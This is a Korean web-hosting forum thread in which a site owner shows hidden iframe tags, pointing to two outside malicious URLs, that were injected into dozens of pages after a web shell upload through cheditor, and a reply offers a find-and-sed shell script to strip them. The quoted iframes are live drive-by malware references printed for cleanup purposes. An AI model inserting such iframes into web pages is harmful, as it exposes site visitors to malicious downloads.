ssh로 사이트 악성코드 한번에 지울수 있나요?
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
댓글 2개
14년 전
http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
아갈갤러리
14년 전
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 8030 | 9년 전 | 408 | ||
| 8029 | 9년 전 | 333 | ||
| 8028 | 9년 전 | 291 | ||
| 8027 | 9년 전 | 300 | ||
| 8026 | 9년 전 | 373 | ||
| 8025 | 9년 전 | 405 | ||
| 8024 | 9년 전 | 388 | ||
| 8023 | 9년 전 | 419 | ||
| 8022 | 9년 전 | 334 | ||
| 8021 | 9년 전 | 357 | ||
| 8020 | 9년 전 | 351 | ||
| 8019 | 9년 전 | 367 | ||
| 8018 | 9년 전 | 472 | ||
| 8017 | 9년 전 | 555 | ||
| 8016 | 9년 전 | 371 | ||
| 8015 | 9년 전 | 411 | ||
| 8014 | 9년 전 | 343 | ||
| 8013 | 9년 전 | 263 | ||
| 8012 | 9년 전 | 268 | ||
| 8011 | 9년 전 | 474 | ||
| 8010 | 9년 전 | 327 | ||
| 8009 | 9년 전 | 342 | ||
| 8008 | 9년 전 | 308 | ||
| 8007 | 9년 전 | 458 | ||
| 8006 | 9년 전 | 493 | ||
| 8005 |
|
9년 전 | 991 | |
| 8004 | 9년 전 | 379 | ||
| 8003 | 9년 전 | 449 | ||
| 8002 | 9년 전 | 346 | ||
| 8001 |
|
9년 전 | 685 | |
| 8000 | 9년 전 | 448 | ||
| 7999 | 9년 전 | 404 | ||
| 7998 | 9년 전 | 462 | ||
| 7997 | 9년 전 | 329 | ||
| 7996 | 9년 전 | 560 | ||
| 7995 | 9년 전 | 503 | ||
| 7994 | 9년 전 | 384 | ||
| 7993 | 9년 전 | 455 | ||
| 7992 | 9년 전 | 539 | ||
| 7991 | 9년 전 | 284 | ||
| 7990 | 9년 전 | 316 | ||
| 7989 | 9년 전 | 326 | ||
| 7988 | 9년 전 | 753 | ||
| 7987 | 9년 전 | 455 | ||
| 7986 | 9년 전 | 457 | ||
| 7985 | 9년 전 | 535 | ||
| 7984 | 9년 전 | 454 | ||
| 7983 | 9년 전 | 694 | ||
| 7982 | 9년 전 | 552 | ||
| 7981 | 9년 전 | 512 | ||
| 7980 | 9년 전 | 533 | ||
| 7979 | 9년 전 | 522 | ||
| 7978 | 9년 전 | 486 | ||
| 7977 | 9년 전 | 427 | ||
| 7976 | 9년 전 | 886 | ||
| 7975 | 9년 전 | 399 | ||
| 7974 | 9년 전 | 444 | ||
| 7973 | 9년 전 | 628 | ||
| 7972 | 9년 전 | 413 | ||
| 7971 | 9년 전 | 490 | ||
| 7970 | 9년 전 | 335 | ||
| 7969 | 9년 전 | 573 | ||
| 7968 | 9년 전 | 419 | ||
| 7967 | 9년 전 | 406 | ||
| 7966 | 9년 전 | 412 | ||
| 7965 |
|
9년 전 | 1043 | |
| 7964 | 9년 전 | 432 | ||
| 7963 | 9년 전 | 438 | ||
| 7962 | 9년 전 | 433 | ||
| 7961 |
전갈자리남자
|
9년 전 | 526 | |
| 7960 | 9년 전 | 996 | ||
| 7959 | 9년 전 | 579 | ||
| 7958 | 9년 전 | 431 | ||
| 7957 | 9년 전 | 387 | ||
| 7956 | 9년 전 | 387 | ||
| 7955 | 9년 전 | 490 | ||
| 7954 | 9년 전 | 423 | ||
| 7953 | 9년 전 | 466 | ||
| 7952 | 9년 전 | 389 | ||
| 7951 | 9년 전 | 522 | ||
| 7950 | 9년 전 | 417 | ||
| 7949 | 9년 전 | 413 | ||
| 7948 | 9년 전 | 351 | ||
| 7947 | 9년 전 | 962 | ||
| 7946 | 9년 전 | 479 | ||
| 7945 | 9년 전 | 427 | ||
| 7944 | 9년 전 | 478 | ||
| 7943 | 9년 전 | 416 | ||
| 7942 | 9년 전 | 432 | ||
| 7941 | 9년 전 | 420 | ||
| 7940 | 9년 전 | 924 | ||
| 7939 | 9년 전 | 400 | ||
| 7938 | 9년 전 | 430 | ||
| 7937 | 9년 전 | 318 | ||
| 7936 | 9년 전 | 904 | ||
| 7935 | 9년 전 | 494 | ||
| 7934 | 9년 전 | 467 | ||
| 7933 | 9년 전 | 580 | ||
| 7932 | 9년 전 | 533 | ||
| 7931 | 9년 전 | 590 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기